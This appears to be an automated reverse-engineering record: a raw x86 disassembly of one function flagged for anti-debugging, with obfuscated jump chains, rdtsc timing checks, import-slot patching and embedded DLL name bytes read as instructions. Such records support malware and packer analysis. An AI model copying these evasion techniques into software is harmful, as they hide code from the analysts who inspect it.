Function at 0x4a06b6
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x4a0056
mov dword [esp + 0x24], eax
jmp 0x49ff7c
call 0x49f57d
jmp 0x4a00c0
mov dword [esp + 0x24], eax
jmp 0x4a00fd
call 0x49f5de
jmp 0x4a01c2
mov dword [esp + 0x24], eax
jmp 0x4a019f
call 0x49f6ab
jmp 0x4a0333
mov dword [esp + 0x24], eax
jmp 0x4a0409
mov dword [esp + 0x24], eax
jmp 0x4a0520
call 0x49f76e
jmp 0x4a06cb
popal
inc dword [esp + 8]
jmp 0x4a0013
popfd
ret
pop ebp
add ebx, 0x4d1a4d45
cmp ebx, 0x4d1a4e11
jmp 0x4a01b6
pop ecx
sub ecx, 0x10019100
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
push ebp
mov ebp, eax
movzx ebx, byte [ebp]
jmp 0x4a002f
jne 0x4a0082
je 0x4a00f5
jmp 0x4a00dd
inc dword [esp + 8]
jmp 0x4a00fb
push 0x68228b
add byte [eax], al
add byte [ebx + eax*4 + 0x4247c], bl
jmp 0x4a006c
call 0x4a00ba
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add bl, ch
and bl, byte [ebp - 0x54]
mov edi, 0x242d5886
imul esp, dword [edx + 0x7a], 0xffffffeb
loop 0x4a0122
pop eax
sub eax, 0x7a626b24
jmp 0x4a00aa
jmp 0x4a0125
push cs
mov dl, 0x20
inc edi
mov dl, 0x76
cmp al, 0xb7
daa
inc edx
mov cl, 0
sub bh, bh
nop
stc
pop ebx
pushal
jp 0x4a00d0
jnp 0x4a013c
lds edx, [ebp + 0x3c]
iretd
pushal
jmp 0x49f578
popfd
ret
popal
inc dword [esp + 8]
popfd
ret
movzx ebx, byte [eax]
add ebx, 0x3209c7bd
cmp ebx, 0x3209c889
jmp 0x4a0149
sub eax, 0xe9810f3c
salc
xchg ecx, eax
add dword [eax], edx
sub ecx, 0x100191d6
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
jmp 0x4a0104
mov ch, ch
sbb al, 0xdd
adc al, 0x81
adc dword [eax - 0x7d], esi
inc eax
rol byte [ebx + 0xf26743a], 0x85
push ebp
hlt
je 0x4a0171
jne 0x49f5a6
add edx, dword [ebp + reloc.mscoree.dll__CorExeMain]
xchg ebx, eax
push es
xchg esp, eax
push cs
retf
inc esp
popal
je 0x4a01d7
add byte [eax - 0x18], dl
and esp, dword [ebx + reloc.mscoree.dll__CorExeMain]
hlt
jmp 0x4a021f
popfd
ret
popal
inc dword [esp + 8]
jmp 0x4a025e
je 0x4a009a
jne 0x49f53a
pop eax
sub eax, 0x44408d3b
jmp 0x4a01f4
xchg dword [eax - 0x17], esp
sti
invalid
pushal
jmp 0x49f5d9
call 0x4a0204
push ebp
push ebx
inc ebp
push edx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add bl, ch
fadd dword [ebx - 0x22]
dec esp
sub esp, esi
push edx
scasd eax, dword es:[edi]
mov dh, 0xa1
loopne 0x4a0234
pop edx
cmp dword [esp + 4], 0
jne 0x4a0198
jmp 0x4a01d8
inc dword [esp + 8]
jmp 0x4a019d
mov edx, 0xd3b426a4
ljmp 0x9271
xlatb
pop ecx
sub ecx, 0x10019271
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
movzx ebx, byte [eax]
jmp 0x4a0260
popfd
ret
add ebx, 0x4375605f
cmp ebx, 0x4375612b
je 0x4a02ca
pop esp
jne 0x49f652
out dx, eax
outsb dx, byte [esi]
cld
wait
jbe 0x4a022d
sti
adc dword [ebx], 0x76
test dword [eax - 0x3a], eax
jno 0x4a02f3
jae 0x4a026d
sldt word [eax]
add byte [ebx + 0x6c], al
outsd dx, dword [esi]
jae 0x4a02f3
inc ebx
insb byte es:[edi], dx
imul esi, dword [eax + 0x62], 0x6472616f
add byte [eax - 0x18], dl
add ah, byte [edx - 0x7a160002]
invalid
test byte [ecx], 0
add cl, dl
pop ecx
leave
test al, 0x5b
wait
xor dword [edx + reloc.mscoree.dll__CorExeMain], edi
sbb edi, edi
nop
inc esi
in al, dx
or al, 0xe6
jmp 0x4a02f9
pop eax
sub eax, 0xe60efc72
jmp 0x4a0314
jb 0x4a02f1
push cs
out 0xeb, al
sbb ebp, eax
adc byte [eax], al
add byte [eax], al
call 0x4a030e
dec ebp
popal
jo 0x4a0358
imul esp, dword [ebp + 0x77], reloc.mscoree.dll__CorExeMain
insb byte es:[edi], dx
inc ebp
js 0x4a030e
jmp 0x4a0349
call 0x4a0326
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add bl, ch
mov bl, 0x55
les esi, [edi + 0x5e]
test eax, 0xf346e960
invalid
pop ecx
jmp 0x4a0354
push eax
call fcn.0048a4a0
jmp 0x49f6a6
sub ecx, 0x100192ef
add dword [eax], edx
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
jmp 0x4a0414
lea edx, reloc.mscoree.dll__CorExeMain
rdtsc
mov edi, dword [esp]
xchg di, ax
pop edi
jmp 0x4a03e8
xchg edx, eax
mov dh, ah
mov eax, dword [esp]
mov dx, 0x3e41
push edi
lea edx, [ebp*4]
jmp 0x4a0392
bswap eax
bswap eax
mov al, bl
push edx
mov edx, esi
lea eax, [ebp - 0x3d]
jmp 0x4a03a8
mov edx, dword [esp]
lea esp, [esp + 2]
pop edx
mov ax, sp
jmp 0x4a047b
mov dh, byte [esp]
push bx
rdtsc
xchg dl, ah
mov al, cl
xchg ah, al
jmp 0x4a03d2
popal
inc dword [esp + 8]
pushfd
mov dword [esp], eax
jmp 0x4a03c4
push edi
jmp 0x4a044e
pop dword [esp + 2]
mov eax, dword [esp + 0x1c]
pushal
mov ch, 0x59
call 0x4a0438
popal
movzx ebx, byte [edi]
pop edi
add ebx, 0x4e2f0be7
jmp 0x4a04a6
mov eax, 0x8130557b
bswap eax
mov ax, 0xef
pushal
bswap eax
mov ax, word [esp + 0x13]
jmp 0x4a042a
cmp ebx, 0x4e2f0cb3
je 0x4a050a
jne 0x49f6b0
xchg edx, eax
or al, 0x82
in eax, 0x14
rol byte [ecx + ebx*4], cl
or dword [eax - 0x65], ebp
das
js 0x4a051d
mov dl, 0xad
popfd
ret
call 0x4a04ee
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add bh, bh
nop
sbb eax, 0xebde3719
add al, 0xba
xchg ebp, eax
add al, 0xb7
call 0x4a050d
dec ebp
popal
jo 0x4a0559
imul esp, dword [ebp + 0x77], reloc.mscoree.dll__CorExeMain
insb byte es:[edi], dx
add bl, ch
mov bh, 0xbe
sbb al, 0xb2
aad 0x24
mov dword [reloc.mscoree.dll__CorExeMain], eax
sub eax, 0xde392993
jmp 0x4a04dc
fsubp st(3)
mov esp, 0xc219eb61
inc eax
salc
mov cl, 0x40
test byte [ebp + edi*8 + 0x6d], bh
hlt
popal
jmp 0x4a053c
inc dword [esp + 8]
popfd
ret
pop eax
xchg ebx, eax
add dword [eax], edx
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
jmp 0x4a05a8
je 0x4a0615
jne 0x49f732
push esi
mov si, ax
not si
mov si, word [esp]
mov si, ax
jmp 0x4a0592
push edx
setnp dl
bswap edx
mov dl, byte [esp]
lea esi, [ebx*4]
jmp 0x4a05b9
movzx ebx, byte [eax]
add ebx, 0x86fbd46f
cmp ebx, 0x86fbd53b
jmp 0x4a0565
not edx
pushfd
mov word [esp], di
mov dword [esp], ebp
xchg esi, edx
mov dh, 0x90
jmp 0x4a05fb
mov dh, dl
xchg esi, ebp
mov dh, 0x32
mov dh, bh
mov dh, byte [esp]
call fcn.004a05e5
jmp 0x4a064e
cdq
clc
or ecx, edx
and eax, 0xaa5f38aa
adc eax, 0xce0fe24b
bswap esi
xchg word [esp], si
mov dx, word [esp + 1]
lea esp, [esp + 3]
pop edx
mov esi, ebx
call 0x4a060b
sbb eax, 0xf1467f6c
lock xchg dword [esp], edx
pop edx
pop ebp
mov dx, 0x48d4
push edi
lea esp, [esp + 1]
jmp 0x4a0621
pop esi
mov si, di
mov si, sp
pop esi
jmp 0x4a0697
inc dword [esp + 8]
jmp 0x4a0dac
cmp dword [esp + 4], 0
jmp 0x4a071a
push 0
pushfd
pushfd
lea esp, [esp + 4]
jmp 0x4a0681
call 0x4a06b6
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add bl, ch
xor esp, eax
push ebp
lds ebp, [edi + ebx*2 + 0x54c6569f]
xor ecx, esi
jo 0x4a06a9
jnp 0x4a06b2
invalid
pop eax
sub eax, 0x60eef5c6
jmp 0x4a06a4
jne 0x4a065c
pushal
jmp 0x49f769
popfd
ret